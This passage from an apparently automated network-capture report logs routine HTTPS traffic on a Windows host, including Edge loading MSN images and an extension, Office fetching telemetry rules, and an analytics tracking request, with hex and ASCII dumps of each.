Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
2024-11-20 07:09:24 UTC	10072	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49833	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=324070 Expires: Sun, 24 Nov 2024 01:10:33 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49836	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=67371 Expires: Thu, 21 Nov 2024 01:52:14 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49834	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=342293 Expires: Sun, 24 Nov 2024 06:14:16 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49838	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=152378 Expires: Fri, 22 Nov 2024 01:29:01 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49829	152.195.19.97	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732691358&P2=404&P3=2&P4=K8FOKcSexj%2bWdb3FdbGhTGSatSq%2b0gLv%2bqm4ZXLMu%2bSImbWXTXLkMzvDqQqbzwymiv%2bCqmCMXCMeHjy4IXpAaQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: alzdVc3uOOe0GkXF05tq+0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12013094 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 20 Nov 2024 07:09:23 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-20 07:09:23 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49837	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=50832 Expires: Wed, 20 Nov 2024 21:16:35 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95c68cvnhC1NYCfn7s00000009z0000000002ffe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95csd4bwhC1NYCq7dc00000009ug00000000984v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49830	108.139.47.50	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	925	OUT	GET /b?rn=1732086561810&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 07:09:23 GMT Location: /b2?rn=1732086561810&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=15A00b3d5f8d7d1b62a42da1732086563; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=15A00b3d5f8d7d1b62a42da1732086563; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 db615220fdf1b471c82cd306c2f4717a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: 3xh3zaj7hTT3ugaNig9zvwSHJ_yO6ljyei3FGLS1UpNBY57IGsh-_A==

